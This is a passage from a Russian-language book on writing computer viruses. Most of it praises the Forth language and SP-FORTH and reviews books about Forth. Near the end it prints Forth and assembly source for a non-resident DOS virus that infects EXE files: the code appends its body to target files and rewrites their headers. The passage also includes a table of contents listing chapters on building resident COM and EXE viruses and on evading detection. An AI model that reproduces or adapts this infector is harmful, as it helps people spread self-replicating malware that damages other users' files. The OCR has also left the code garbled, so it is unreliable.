Inc.). А поскольку GraForth'a у вас нет, Turbo Forth тоже не предвидится — возьмите наш скромный SP-FORTH и хотя бы немного поэкспериментируйте с ним, преодолевая желание поскорее стереть его, поскольку "Стройпрогресс" совсем не Borland, а я вовсе не Филипп Кан. Я знаю, что вы наверняка держали в руках книгу С.Н.Баранова и Н.Р.Ноздрунова "Язык Форт и его реализации" (и может быть даже прочли ее до страницы 42) и что она не произвела на вас никакого впечатления. Но поз вольте мне все же порекомендовать вам прочесть ее более внимательно и, возможно, вы перестанете считать Форт неким подобием "развитого макроассемблера". В любом случае, хотя бы ради любопытства, поближе познакомьтесь с языком, спектр примене-
435
Языки программирования программ-вирусов ния которого очень широк: в свое время программы на Форте управляли подводными лодками, искавшими "Титаник", телескопами и т.д.; экспертная система, написанная на Форте, искала неисправности в оборудовании фирмы General Electric; GraForth управ ляет трехмерной графикой на ПК IBM PC/XT/AT и он один из очень немногих языков, удостоившихся чести быть воплощенными "в металле" — на Западе (и, по непроверен ным данным, даже в Эстонии) созданы Форт-процессоры, воспринимающие Форт, как родной машинный язык. Существуют и многозадачные версии Форта (в т.ч. для IBM PC — PolyForth фирмы Forth Inc., который также воплощается "в металле"), чего о Тур бо-Паскале не скажешь. Как бы я не нахваливал вам Форт, вы не станете программировать на нем до тех пор, пока своими глазами не убедитесь, что Форт дает в ваши руки хотя бы тот удобный инструментарий, к которому все привыкли, работая с Турбо-Паскалем или Си, и будете совершенно правы. Как минимум должны присутствовать следующие компоненты: 1) среда программирования (включающая удобный редактор текстов программ, удобные средства отладки, встроенные средства помощи, файловую сис тему); 2) собственно транслятор Форта, который должен иметь средства для созда ния быстрого, компактного, удобного в использовании независимого программного продукта; 3) большой набор модулей (библиотек), расширяющих средства Форта для работы над конкретными прикладными задачами (графика и т.п.); 4) должен давать средства для работы с использованием новых технологий программирования, "модных" и действительно удобных, таких как объектно-ориентированное программиро вание (лично я ни за что не обратился бы сейчас к Форту, если бы не был твердо убежден в том, что мне удастся применять в работе с ним те же приемы, к которым я уже привык, программируя на Turbo Vision). Осмелюсь заявить, что уже этот "кар ликовый" (меньше 6К в базовом варианте) СП-Форт обладает значительной частью перечисленных возможностей, а большую часть оставшихся вы можете получить в ТОО "Стройпрогресс-Н" или написать сами, с учетом своих потребностей и вкусов (и сделаете это быстрее и качественнее, чем на традиционных языках). Все дело в со вершенно ином взгляде на программирование. Если вы не готовы изменить свои при вычки в программировании, или если вас до сих пор полностью удовлетворяли возможности C++ или Паскаля, и вы не ощущали раздражения при столкновениях с их ограничениями, если вы любите Турбо Паскаль за то, что он позволяет вам про граммировать расслабившись, оставляя все свои ошибки на совести его транслятора, если вы не считаете программирование искусством, и на большее уже не способны, то Форт не для вас и вы отлично проживете друг без друга.
Недостатки Форта Самым часто упоминаемым недостатком Форта является использование в нем стека в явном виде для передачи параметров и следующая отсюда "обратная польская запись" при программировании вычислений (с этой обратной польской за писью знакомы сейчас практически все, т.к. она используется — и очень удобно — в калькуляторах МК-61 и МК-52, и аналогичных). Это приводит к плохой читаемости программ, т.к. манипуляции со стеком трудно проследить. Это, без сомнения, являет ся для многих программистов очень сильным "отпугивающим средством", им и без
436
Языки программирования программ-вирусов стека проблем хватает, Однако данный недостаток не является таким уж страшным, и при программировании на Форте стек кажется вполне удобной структурой данных. С другой стороны стек дает и преимущества, особенно при программировании ре курсивных алгоритмов. Кроме того, стек данных используется при передаче параме тров процедурам практически во всех популярных трансляторах (в т.ч. в Турбо Паскале), только делается это неявно, и видно только при дизассемблировании гото вой программы (пара команд push bp, mov bp,sp для доступа к параметрам в стеке стоит в начале практически любой процедуры Паскаля, а в конце процедуры эти па раметры убираются командой ret ). В Форте эта передача сделана явно, что дает неограниченные возможности оптимизации (человек в вопросах оптимизации пока еще намного более искусен, чем самые "умные" трансляторы) — разве это плохо? Если все же вы не можете примириться со стеком и с постфиксной (обратной поль ской) записью, то Форт предоставляет вам все возможности для изменения этой си туации, — о том, как использовать локальные переменные и инфиксную форму записи формул, подробно рассказано далее. Другой очевидный недостаток, точнее ограничение, Форта — это работа в ад ресном пространстве объемом всего 64К, что явно не согласуется с большими объе мами памяти современных ПК. СП-Форт не преодолевает это ограничение, хотя дает средства для его преодоления. Как каждый недостаток, данный имеет и другую — привлекательную — сторону: повышение компактности и быстродействия програм мы. Традиционные для Паскаля "длинные вызовы" (команды call far, занимающие 5 байт) представляются в Форте всего двумя байтами в шитом коде. В данный момент не существует 32-разрядной версии СП-Форта (для работы с 4-байтными адресами), но если вам все же удастся подойти к пределу памяти в 64К на Форте, то лично для вас я напишу такую версию. Мне кажется маловероятным исчерпание лимита 64К по следующим причинам: 1. Форт порождает весьма компактный шитый код, и при хорошем стиле программиро вания маленькая программа в 60К будет обладать очень большими возможностями; 2. Такую большую (по меркам Форта) программу может написать только или очень хороший программист (который в состоянии удержать всю эту программу в голо ве), или очень плохой программист (который забыл о наличии винчестера и дер жит в адресном пространстве Форта редко используемую информацию, в результате, конечно, объем программы растет лавинообразно). Первых очень ма ло, и они в состоянии сами решить все проблемы, вторых очень много, но им не рекомендуется программировать на Форте. Быстродействие программы практиче ски не снизится, если редко используемые данные или части программы подгру жать только по мере необходимости, СП-Форт дает много средств для быстрой работы с дисками. Кроме того, в памяти в разных сегментах могут работать одно временно несколько программ, написанных на Форте, взаимодействующих с по мощью прерываний или других средств межсегментного обмена, предоставляемых СП-Фортом. Все они будут содержать базовый словарь Форта объемом около 6К, одинаковый у всех, что все же нельзя считать слишком расто чительным, ведь в итоге мы можем получить реальную многозадачность.
437
Языки программирования программ-вирусов 3. Большую программу может написать группа программистов, работающая над совместным проектом — в этом случае лучше каждому программисту писать свой модуль в виде автономной Форт-программы (выполнимого файла типа СОМ), а затем объединять их, как предложено выше. Третье, последнее и еще менее существенное, ограничение Форта, которое часто слишком трагедизируют — это полное отсутствие стандартных средств для ра боты с вещественной арифметикой (в формате с плавающей точкой). Это непривыч но для "простого смертного" и ставит его в тупик. Но часто ли встречаются задачи, в которых без вещественной арифметики нельзя обойтись? Самая распространенная задача, для решения которой традиционно применяется формат с плавающей точ кой — бухгалтерский учет. Но она совсем не сложно, а главное намного компактнее и быстрее (т.к. действия с целыми числами производятся компьютером намного бы стрее, чем с вещественными, даже при наличии сопроцессора) решается средствами Форта, если считать все в копейках, а точку в нужном месте ставить лишь при выво де результатов на экран. Как ни странно, и точность получается более высокой. В Форте набор команд для работы с целочисленной арифметикой несравненно более широк, чем в традиционных языках программирования. Как решать на Форте другие, чисто вычислительные задачи очень хорошо показано в [2]. И тем не менее библио тека для работы с вещественной арифметикой считается стандартным расширением Форта, и такая библиотека будет распространяться нашей фирмой в числе других расширений. Все три недостатка Форта (больше нет) скорее демонстрируют недостатки нашего ленивого ума, не способного к быстрой адаптации. Программируя на Форте, вы вскоре забудете о его мнимых недостатках и, я уверен, получите истинное удо вольствие от использования его неограниченных возможностей.
Доступная литература и версии Форта В читаемом вами тексте нет описания Форта и файл SP-HELPF.TXT дает лишь очень краткую информацию об СП-Форте. Поскольку учебник и подробная до кументация программиста в данный, бесплатно распространяемый, пакет не входят, я рекомендую вам прежде всего обратиться к "первоисточникам", перечисленным Ниже, а затем все же обратиться к нам за документацией. Здесь перечислены книги о Форте, вышедшие на территории бывшего СССР: 1. Баранов С.Н., Ноздрунов Н.Р. Язык Форт и его реализации. —Л.: Машинострое ние, 1988. 160 с. Это самое первое крупнотиражное описание языка Форт, вышед шее в нашей стране, и, на мой взгляд, самое лучшее, несмотря на несколько серьезных ошибок в текстах программ. Отлично описаны тонкости реализации (которые необходимо знать для успешного программирования на Форте) и дано хо рошее введение в технику программирования. Пожалуй, без этой книги СП-Форт просто бы не состоялся. Несмотря на все достоинства данной книги, она очень не популярна у профессиональных программистов, хотя есть практически у всех: вве дение написано не очень "убедительно", и наверняка большинство читателей просто не прочли ее до конца, или без должного внимания. Описана техника объ ектно-ориентированного программирования на Форте, хотя это не бросается в гла-
438
Языки программирования программ-вирусов за, т.к. в Форте традиционно у всех понятий свои, менее громкие, названия. Един ственное, доступно хорошее описание "нового" стандарта FORTH-83. 2. Броуди Л. Начальный курс программирования на языке Форт. —М.: Финансы и статистика, 1989. Хорошее введение в программирование на Форте, к сожалению ориентированное на старый стандарт FIG-FORTH (есть существенные отличия). Мне не удалось полностью прочесть эту книгу, т.к. я получил ее на очень корот кий период, а достать ее сейчас невозможно (мне, во всяком случае). Но я все-та ки очень рекомендую вам попытаться достать и прочесть эту книгу. 3. Семенов Ю.А. Программирование на языке Форт. —М.: Радио и связь, 1991. Эта книга, как и [1] относится к числу распространенных и немного более популярна. Однако, и она ориентирована на старые стандарты FORTH-79 и FIGFORTH. От книги вообще "веет стариной", да и достоинства Форта, на мой взгляд, раскрыты недостаточно полно. Не смотря на это, данная книга будет очень вам полезна: в ней содержится много интересных идей, и к тому же там есть полный исходный текст Форта-ИТЭФ, написанного Ю.А. Семеновым для IBM PC совместимых ма шин, т.е., введя этот текст в вашу машину и оттранслировав его с помощью мак роассемблера, вы получите работоспособную версию Форта и, возможно; она понравится вам больше СП-Форта. Когда вышла эта книга, СП-Форта еще не су ществовало, и я не взялся бы писать СП-Форт, если бы Форт-ИТЭФ мне понра вился. На ввод текста Форта-ИТЭФ я потратил около трех дней, и еще несколько часов потребовалось на то, чтобы исправить огромное количество ошибок (кото рых в этой книге, как во всех изданиях по программированию, предостаточно). Практически пришлось существенно его переделать, чтобы заставить работать. Форт-ИТЭФ соответствует стандарту F1G-FORTH, объем файла с базовым слова рем, насчитывающим около 250 слов, примерно 7.5К (В СП-Форте соответствен но 220 и 5.6К, а если учитывать те слова,.которые загружаются автоматически при старте СП-Форта, то >250 и 6.7К), в реализации применен косвенный шитый код — т.е. он заведомо медленнее СП-Форта (доказательства, воспринимаемые на слух, см. в блоке 11 СП-Форта). Минимально возможный объем независимой про граммы на Форте-ИТЭФ из-за нерационального расположения системных буфе ров составляет более 10К, на СП-Форте объем готовой программы (СОМ-файла) может быть менее 6К. Кроме того, полностью отсутствует документация по ис пользованию нестандартных слов и приходится выяснять их функции по исходно му тексту. Впрочем, автор указывает, что от этой версии требовалась совместимость с более старыми версиями Форта в ИТЭФ, поэтому упущения вполне объяснимы. 4. К.Таунсенд, Д.Фохт Проектирование и программная реализация экспертных сис тем на персональных ЭВМ. —М.: Финансы и статистика, 1990 г. Очень интерес ная книга американских авторов (оригинал издан в 1986 г.), посвященная экспертным системам. Язык Форт (стандарт FORTH-83) рассматривается в нем только как средство разработки экспертных систем и систем распознавания обра зов. Но есть и введение в основы программирования на Форте. Прекрасный при мер применения Форта для решения задач, трудно реализуемых при использовании традиционных языков. Показаны способы расширения стандарт-
439
Языки программирования программ-вирусов ного Форта удобными средствами обработки списков Лиспа и средствами логиче ского вывода Пролога, полученный "гибрид" используется для написания оболоч ки экспертной системы (как известно, Лисп, Форт и Пролог являются основными языками программирования задач искусственного интеллекта). К сожалению, в книге много ошибок, и качество перевода на редкость низкое. Тем не менее, я очень рекомендую вам постараться найти и прочесть эту книгу, даже если вас не очень интересуют экспертные системы и распознавание образов. Все примеры, приведенные в книге, в том числе тексты программ, реализующих экспертную си стему, написаны на Форте-83, поэтому вы можете испытывать их на СП-Форте, тем более, что СП-Форт позволяет задавать имена новых процедур (слов) на рус ском языке, как это сделано в книге. В книге также описаны средства объектноориентированного программирования стандартного Форта (в данном случае вещи названы своими именами). Теперь скажу немного о других версиях Форта, с которыми я раньше имел де ло. Сразу отмечу, что на IBM PC я не видел "живьем" ни одного транслятора Форта, кроме СП-Форта и Форта ИТЭФ, читал о Полифорте и Графорте (о них я уже упоми нал) и читал добротную документацию АстроФорта (об этой версии разговор осо бый). Форт не требователен к памяти, поэтому он реализован на всех без исключения ПК, включая домашние. Именно на домашних ПК я впервые и поработал на Форте: первым был "FORTH-FSTB", который я собственноручно написал для РК-86 два го да назад (настолько меня увлекли идеи книги [1], что я не мог не написать своей вер сии Форта), он использовал подпрограммный шитый код (который менее компактен, чем прямой шитый код, но намного более быстродействующий на ПК подобного класса); вторым опробованным мною транслятором был превосходный и очень рас пространенный на компьютерах с восьмиразрядным процессором К580ВМ80А Форт К580 версии 6.3, написанный очень известными энтузиастами Форта из ЛГУ (по мо им наблюдениям, Санкт-Петербург вообще является настоящим "питомником" Фор та) В.А.Кириллиным, А.А.Клубовичем и Н.Р.Ноздруновым. Эта версия — лучшее, что можно порекомендовать пользователям аппаратуры на 580-м процессоре. Треть им испытанным мною Фортом стал FIG-FORTH на популярном домашнем компью тере "Спектрум", по всем признакам это хорошая версия, но она страдает полным отсутствием документации. И наконец, Астро-Форт для IBM PC: я никогда его не видел (он не получил распространения, т.к. поставляется, по всей видимости, с защитой от копирования), но мне удалось найти и прочитать документацию, по которой и могу о нем судить. Это чрезвычайно мощная версия, которую я вам рекомендую, как альтернативу СПФорту, если вы сможете ее где-нибудь купить. Он очень похож на Форт К580, и поэтому косвенному признаку можно сделать осторожный вывод, что и авторы у не го те же. Удивило меня только то, что в нем реализованы Пас кал е-подобные средст ва для объектно-ориентированного программирования, хотя нужды в этом не было, т.к. для этого в Форте есть свои отличные средства, соответствующие идеологии Форта, а моделировать на Форте Турбо-Паскаль — это довольно странное решение. В любом случае, вряд ли вы найдете в СНГ более подходящую версию Форта.
440
Языки программирования программ-вирусов Работая над СП-Фортом я постарался учесть весь полученный опыт разра ботки трансляторов Форта, ориентируясь при разработке прежде всего на стандарт FORTH-83 и его расширения по образу Форта К580. Мое увлечение Фортом К580 не могло не сказаться на всей структуре СП-Форта (вплоть до заимствования текстов многих Форт-определений) и я надеюсь, что сказалось положительным образом. Ес ли вы работали когда-либо на Форте К580 или любом другом стандартном Форте, то у вас не будет никаких проблем при переходе на СП-Форт: вы только получите но вые удобные возможности.
Преимущества Форта по сравнению с традиционными языками Первое и самое главное: Форт очень легко расширяемый язык. Все новые средства, определяемые программистом, вводятся в словарь Форта и используются наравне с остальными (стандартными) его средствами. Форт "не знает", что в нем от носится к стандарту, а что является расширением. Можно написать свои версии стан дартных слов, например, оператора IF или KEY, (перекрыть метод, как сказали бы некоторые программисты) и Форт автоматически начнет использовать в дальнейшей работе вашу версию вместо "своей" стандартной до тех пор, пока не будет введена новая версия этого оператора или до тех пор, пока не будет дано "разрешение" ис пользовать старую. К этому полиморфизму мы еще вернемся. Готовая программа на Форте (СОМ-файл в случае СП-Форта) может, если вы этому не воспрепятствуете, содержать в себе все средства трансляции и диалогового программирования на Фор те: практически вы даете в руки конечного пользователя все те же средства, которы ми пользовались сами при разработке программы. Это дает максимальную, недостижимую на других языках, гибкость программы, легкость настройки под нуж ды пользователя. Модифицированная программа может быть сохранена на диске од ной командой SAVE-SYSTEM, без потери возможности дальнейшей модификации. Таким образом отпадает необходимость использования каких-либо фай л о в-конфигу рации или файлов-ресурсов, как это принято в традиционном программировании. Не нужно объяснять, как это облегчает сопровождение программного продукта. В то время, как все программы на Паскале или Си практически инертны — они не могут повлиять на работу самих себя — максимум, на что они способны, это породить но вый объект со старыми методами или считать из файла ресурсов (и с каким трудом!) новый метод (и то лишь по "совету" программиста и уже написанный программис том) и для каждой из этих возможностей существуют весьма скудные средства (на пример, новый объект порождается в Турбо Паскале только функцией New, и ничем больше), — в Форте отсутствуют какие-либо ограничения: программа может писать "сама себя"; считывать с диска или с клавиатуры (из любого входного потока) и дан ные, и команды, причем и данные, и команды из входного потока могут как сразу вы полняться, так и компилироваться для использоваЕшя сразу же (прямо при загрузке !) или в дальнейшем как равноправная часть программы; программа может и удалять часть своего кода и заменять его новым, причем он может поступать откуда угодно в любом виде — в исходных текстах на Форте или в виде машинного кода. И для реа лизации каждой из этих возможностей в Форте (в этом крошечном стандартном Фор те объемом меньше 6К !) существует масса средств.
441
Языки программирования программ-вирусов Я сказал "...данные...могут выполняться" и не ошибся, в Форте, строго говоря, данных как таковых вообще нет (в обычном их понимании): даже константы и пере менные, определяемые в Форте словами CONSTANT и VARIABLE, не пассивны, а выполняют некоторые действия. Конструкция CREATE ... DOES> ( в старых версиях), определяющая данные и одновременно действия над ними, ис пользуется в Форте "испокон веков" (с момента его рождения в 1971 г.), а сейчас нам пытаются преподнести это как нечто новое и нарекли умным словом "инкапсуляция". Инкапсуляция, полиморфизм (о котором было сказано выше) и наследование (о кото ром будет сказано ниже) считаются "тремя китами" наимоднейшей сейчас технологии программирования, называемой "объектно-ориентированным программированием". Думал ли Чарльз Мур, создавая более 20 лет назад свой Форт, что его великолепные идеи пролежат "на полке" невостребованными как минимум 12-15 лет, а потом вдруг "всплывут" совершенно в другом месте и под новым названием! Но он может гордить ся, что по виртуозности средств программирования Форт пока так и остался непре взойденным. Самый простой пример: можете ли вы на Паскале или на C++ изменить семантику константы в период выполнения? — например, заставить эту константу (которая стоит у вас в какой-то формуле) выдавать число 6 вместо 5, или читать эту константу с диска (прямо во время вычисления формулы заставить константу читать саму себя с диска!), или, что совсем кажется невероятным, выполнить какие-либо сов сем "посторонние" действия и при этом исправно давая той формуле то, что требует ся ей для вычислений — какое-то число. Вы не сделаете этого на традиционных языках, а на Форте соответствующая программа займет, пожалуй, всего одну строчку. Дело в том, что полиморфизм (в терминах объектно-ориентированного программиро вания) в Форте распространяется в равной степени и на данные, и на процедуры (т.к. данные в Форте — такие же равноправные процедуры). В полиморфизме различают обычно "раннее" (на этапе компиляции) и "позднее" (на этапе выполнения) связыва ние: в Форте, конечно, есть и то, и другое, причем, если в Турбо Паскале (да и вооб ще во всех языках, в которых в последние годы ввели средства для поддержки ООП) тип полиморфизма задается жестко на этапе компиляции и зависит от наличия слова virtual в описании процедуры, то в Форте эту ситуацию можно изменить в любой мо мент: КАЖДОЕ слово-процедуру можно перекрыть в любое время, динамически или статически. Это дает столь широкие возможности, что осмыслить, или просто пове рить в это, "традиционному программисту" сразу невозможно — надо просто взять Форт и начать на нем программировать, и вы вскоре будете вспоминать Паскаль и Си как кошмарный сон. Наследование, третий кит ООП, прекрасно реализуется в Форте в виде так на зываемых "контексных словарей" (это единственный случай, когда одно и то же по нятие называется в Форте более "заковыристо", чем принято в ООП). Можете считать словарь объектом, каждый новый словарь, определенный внутри него сло вом VOCABULARY, будет его потомком и будет наследовать его методы (в Форте, как вы помните, нет обычных данных). Это сильно напоминает вам Турбо Паскаль, но в отличие от него, объект может иметь несколько предков (множественное насле дование, как в C++). Более того, для каждого метода, используемого внутри нового объекта, вы можете указать объекта-хозяина, указав его имя (имя контекстного ело-
442
Языки программирования программ-вирусов варя). Объект-потомок "видит" все методы и данные в ветви каждого из своих пред ков, вплоть до "корневого" объекта с именем FORTH (это имя базового словаря Фор та), и может их использовать. В этом случае имя предка можно не указывать, оно нужно только для избежания двусмысленности — когда, например, в двух родитель ских словарях (объектах) есть методы с одним и тем же именем. Причем в одном и том же словаре (объекте) могут быть слова (методы), перекрывающие сами себя (описание полиморфизма Форта уже было дано). Все это дает возможность вам избавиться от примитивных шаблонов исполь зования средств ООП, навязываемых вам Турбо Паскалем и C++ (хотя ради справед ливости надо отметить, что и они являются прекрасными инструментами, просто Форт — это шаг далеко вперед, (кстати, FORTH так и переводится — "вперед")). Контекстные словари — это один из способов реализации наследования в Форте, но в Форте есть и второй, совершенно другой (принципиально другой !), хотя и он вы зывает ассоциации с уже знакомыми способами: это реализация наследования с по мощью тех же чудодейственных слов CREATE...DOES>. Это позволяет полноправно наследовать данные и методы, но не в глобальном масштабе на уровне словарей, а в местном масштабе — на уровне слов (процедур и их данных): слово (процедура), в котором встретилась конструкция CREATE...DOES>.., становится способным само генерировать код слова (и это слово тоже со всеми основаниями можно считать объ ектом, точнее экземпляром объекта, в терминологии ООП Турбо Паскаля) с задани ем в нем полей данных (которые описаны после CREATE) и методов над ними (методы описаны после DOES>). Причем, в этом случае каждому экземпляру объек та может быть присвоено свое имя, в отличие от не всегда удобных указателей Пас каля и Си (при этом вы можете работать и с указателями — в Форте нет абсолютно никаких ограничений!). Самый простой и самый классический пример объекта в Форте (хотя никто не пользуется в Форте термином "объект") — это стандартное сло во Форта CONSTANT, которое используется для описания констант (экземпляров объекта CONSTANT), оно реализуется элементарно: CONSTANT CREATE, DOES> @; теперь при выполнении в программе действий 10 CONSTANT TEN определяется константа TEN со значением 10. Все константы, определенные через это слово CON STANT, будут использовать единственный общий метод "@", который собственно и будет класть констант)' на стек, доставая ее из поля, сформированного словом "," (за пятая). Слова DOES> и CREATE, хоть часто и используются в паре, совершенно взаимонезависнмы и не менее часто используются по отдельности. Комбинируя описанные средства создания объектов вы можете создавать любые структуры, какие только могут прийти в голову человека, в том числе и такие, для которых еще не при думали названия любители звучных терминов. Здесь описана лишь небольшая часть достоинств Форта, но и это может вы звать у вас недоверие или, в лучшем случае, удивленный вопрос: как же случилось, что вся огромная орда программистов прошла мимо этого прекрасного языка, неуже ли все они настолько неразборчивы, — ведь практически все профессиональные про граммисты в СНГ пишут программы на C++, или, "в крайнем случае" на Турбо Паскале или Ассемблере. Спросите себя, почему вы в 1988 году, взяв в книжном ма газине в руки книгу [1], прочитали ее аннотацию и, пожалев рубль, положили ее об-
443
Языки программирования программ-вирусов ратно на полку (лично я тогда поступил именно так), т.к. слово "Форт" мало о чем вам говорило; или вы все же купили ее, но дома только бегло пролистали (так сдела ло большинство), сказав себе: у меня есть Турбо Паскаль, и мне его достаточно. Трудно было не "клюнуть" на шумную рекламу и действительные достоинства трансляторов фирмы Borland, тем более, что эти трансляторы сами плыли нам в ру ки, любой мог получить бесплатно самые свежие версии, а Форта практически ни у кого не было. Что заставило фирму Borland International, Inc., распространявшую в 1983 году GraForth П. Лутуса, впоследствии бросить его — мне это неизвестно, ве роятно он не смог ужиться под одним крылом вместе с традиционным Паскалем, а может быть, GraForth был недостаточно хорош. В завершение я привожу два примера написания вируса на Forth. Это простейший нерезидентный заражатель ЕХЕ файлов. Дописывает свое тело в конец файла и корректирует заголовок. Трудностей при его испытании не бы ло ни каких! (правда воды там достаточно). Этот исходник должно компилировать целевым компилятором из пакета AstroForth после перевода из текстового формата — в экранный файл (*.scr) програм мой scr-txt.com (от того же пакета). В теле отсутствуют какие бы то ни было коммен тарии, но по-моему, я все разъяснил в описании языка. Надеюсь у вас не будет проблем с "разбором полетов11. Нерезидентный вирус заражающий *.ЕХЕ.
]
Name : FORTH-1. Длина тела вируса 1303 байта. Model:E-4608 Заражается один файл в текущем пути.
444
Языки
программирования
программ-вирусов
S, AX M0V DI,# 00 MOV SI POP SI, # 03 SUB CX, # 1600 MOV REPZ MOV SB BX, # 00F0 MOV DS, AX MOV [BX], BP MOV AX PUSH AX, # 0100 MOV AX PUSH FAR RET END-CODE CODE GO_PROG BP, F0 MOV ES, BP MOV DS, BP MOV DX, # 0080 MOV AH, # 1A MOV 21 INT CLI CS PUSH DS POP SP, 06 MOV AX, 04 MOV AX, BP ADD AX, # 10 ADD SS, AX MOV AX, 00 MOV AX, BP ADD AX, # 10 ADD AX PUSH 02 PUSH DS, BP MOV STI FAR RET END-CODE VARIABLE CS_ VARIABLE IP_ VARIABLE SS_ VARIABLE SP_ ;GO_PROG_PREV CS_ @ 0 ! I p
„ @ 2
!
SS_ @ 4 ! SP_ @ 6 ! VARIABLE HEADER__ 2 0 ALLOT
445
Языки программирования программ-вирусов
Ну, как? Понравилось? Вот то-то же. Сейчас я представлю еще один вирус. Очень красиво написанный нерезидентный ЕХЕ-заражатель. Name:FORTH-l Длина тела вируса 1303 байта. ModeI:E-4608 Всего к файлу дописывается 4608 байтов. Заражение однократное. Оверлейные файлы не заражаются. Не обрабатываем int24h Заражается один файл в текущем пути. VARIABLE DTA_ 80 ALLOT VARIABLE MASK__ "*.EXE" 0 C, VARIABLE HANDLE^ HEX 003F CONSTANT ATTR_ CODE INT21 DX POP CX POP BX POP AX POP 21 INT AX PUSH AX, # 00 MOV (FALSE) 1$ JC AX DEC (TRUE (for FORTH!!!!)) 1$: AX PUSH NEXT, END-CODE :HANDLES HANDLE^ @; CODE GO_VIRUS CLI BP, DS MOV AX, CS MOV
447
448
Языки
программирования
программ-вирусов
:CLOSE_FILE 3E00 HANDLES О О INT21 2DROP; :READ__HEADER 3F00 HANDLES 1С HEADER_ INT21 2DROP; :?ЕХЕ HEADER_ @ 5A4D = ; :?ALR HEADER_ 12 + @ 2424 =; :SET__DTA 1A00 0 0 DTA_ INT21 2DROP; CODE GET_FLEN (HANDLE — LOLEN HILEN) BX POP AX, # 4202 MOV CX, CX XOR DX, DX XOR 21 INT, AX PUSH DX PUSH NEXT, END-CODE VARIABLE CALL_ 3 ALLOT :CALL! 00E8 CALL_ ! 0 CALL_ 2+ ! CALL_; :WRITE_BODY (F.p. уже в конце файла!) 4000 HANDLER 03 CALL! INT21 2DROP 4000 HANDLES 0100 3 - ['] GO_VIRUS 2+ INT21 2DROP 4000 HANDLES 1100 0100 INT21 2DROP ; :WRITE_HEADER 4200 HANDLES 0 0 INT21 2DRCP 4000 HANDLES 1С HEADER_ INT21 2DROP; CODE CALCULATE (HILEN LOLEN DI - NEWCS NEWIP) DI POP AX POP DX POP CX, # 10 MOV CX DIV AX, DI SUB DX, # 0 SBB AX PUSH DX PUSH NEXT, END-CODE :FINFECT_ (HILEN LOLEN -) HEADER_8 + @ CALCULATE SWAP DUP 20 + HEADER_0E + ! HEADER_16 + ! HEADER__14 + ! 3000 HEADER_ 10 + ! (SS CS IP SP) 2424 HEADER_ 12 +! HEADER_ 04 + DUP S 6 + SWAP ! (VIRLEN = 512*6) WRITE_BODY WRITE_HEADER ; :FINFECT HEADER^ DUP 000E + @ SS_ ! DUP 0010 + @ SP_ ! DUP 0014 + S IP_ ! 0016 + S CS_ ! HANDLES GET_FLEN SWAP DUP HEADER_ 4 + S 1* 0200 * HEADER_ 2 + S + = IF FINFECT_ CLOSE_FILE GO_PROG THEN CLOSE_FILE ; :INFECT ?ALR IF CLOSE_FILE EXIT ELSE FINFECT THEN ; :ERROR_ CARRY_ @ FALSE - ; :MAIN()
Языки программирования программ-вирусов GO_PROG_PREV SET_DTA FIND_FIRST BEGIN O P E N _ F I L E READJ1EADER ?EXE IF INFECT THEN FIND_KEXT ERROR_ IF GO_PROG THEN AGAIN;
Clipper Этот язык программирования является помесью С и Pascal. Если вы знаете хоть один из этих языков, то вам не составит проблем разобраться с СНррег'ом. По этому приводить подробные описания этого языка программирования высокого уровня нет необходимости. Описанный вирус очень прост, но снабжен необходимы ми комментариями.
450
Содержание
Содержание Введение
3
Предыстория Правовой аспект Уголовно-правовая ответственность создателя вирусов
6 7
Аппаратное обеспечение
8
Программное обеспечение Проблема вопроса о распространении вирусов
9 11
Кто такие эти юзеры?
13
Полемика Когда все началось Дарвин
15 22 23
Animal Черви Core Ware Первые эпидемии Появление вирусов в России Отклики печати
23 24 24 24 28 30
О сути вирусов Насколько велика опасность Вирусофобия
32 34
Положительные вирусы? Неосведомленность готовит почву Отдельные случаи Протест порождает вирус Манипулирующие вирусы Вирусы, открывающие доступ к компьютерным системам . . . Вирусы, генерирующие файлы регистрацииинфицированных программ Манипуляции данными Диагноз: поражение вирусом?
35 36 37 38 38 .39 39 39 40
451
Содержание Вирусы из Интернета Вирусы, приводящие к фатальным ошибкам Вирусы, повреждающие аппаратуру Вирусы, имитирующие ошибки Вирусы работающие с архивом данных Вирусы, не выполняющие функции перезаписи Получение выгоды Преимущества и недостатки паролей i Формы проявления компьютерных вирусов Перезаписывающие вирусы Загрузочные вирусы ОЗУ — резидентные вирусы Вызов программы-вируса Сети Случайно возникающие вирусы
44 49 50 51 53 53 56 57 58 58
,
60 63 .66 67 71
Прочие вирусы Троянские программы Эффекты, используемые вирусами
75 .76 77
Средства изоляции Программисты Ломать, не строить Должны быть границы
82 85 86 88
Разработка нерезидентной вирусной СОМ-программы Загрузка и выполнение СОМ-программы Как вирус может заразить СОМ-файп Работа вируса в зараженной программе Как начинается распространение вируса Начало работы Вирус получает управление Восстанавливаем зараженную программу Запоминаем содержимое DTA Ищем подходящий файл
452
89 90 90 91 91 91 92 92 . .93
Содержание Читаем исходные три байта Выполняем необходимые расчеты Проверяем файл на зараженность Заражаем СОМ-программу Восстанавливаем DTA Передаем управление зараженной программе Область данных вирусной программы Завершаем запускающую программу Листинг нерезидентного СОМ-вируса Комментарии Испытание вируса
94 94 95 96 97 97 97 , . .98 .98 102 102
Разработка резидентной СОМ-программы Понятие резидентного (TSR) вируса Несколько слов о резидентных программах Алгоритм работы резидентного СОМ-вируса Заголовок вируса Вирус начинает работу Сохраняем регистры процессора Создаем секцию инициализации Запрашиваем блок памяти Делаем вирус "незаметным" Получаем вектора прерываний Копируем вирусный код в память Устанавливаем вектора прерываний на вирусные обработчики Пишем резидентную часть Заражаем СОМ-файл Восстанавливаем регистры Пишем обработчики прерываний , Обработчик Int 13h Обработчик Int 21h Обработчик Int 24h Обработчик Int 2Fh
103 103 104 105 105 107 108 109 110 112 113 113 114 115 118 119 119 121 122 122
453
Содержание Обработчик Int 28h Область данных вируса Процедура идентификации COMMAND.COM Завершаем программу Листинг резидентного СОМ-вируса Комментарии Испытание вируса Резидентом в UMB
123 123 123 124 124 133 133 133
Разработка нерезидентной вирусной ЕХЕ-программы Формат ЕХЕ-файла на диске Загрузка и выполнение ЕХЕ-программы Как вирус может заразить ЕХЕ-файл Работа вируса в зараженной программе Начало работы Вирус получает управление Ищем подходящий файл Читаем заголовок файла Производим необходимые вычисления Заражаем ЕХЕ-программу Восстанавливаем DTA Восстанавливаем точку входа Область данных вируса Используемые процедуры Работа завершена Полный текст нерезидентного ЕХЕ-вируса Несколько слов об испытании вируса
136 137 138 138 139 139 140 141 142 145 145 146 147 147 148 148 153
Разработка резидентной вирусной ЕХЕ-программы Алгоритм работы резидентного ЕХЕ-вируса Реализуем предложенный алгоритм Пишем промежуточный обработчик Защита от обнаружения вируса в файле
454
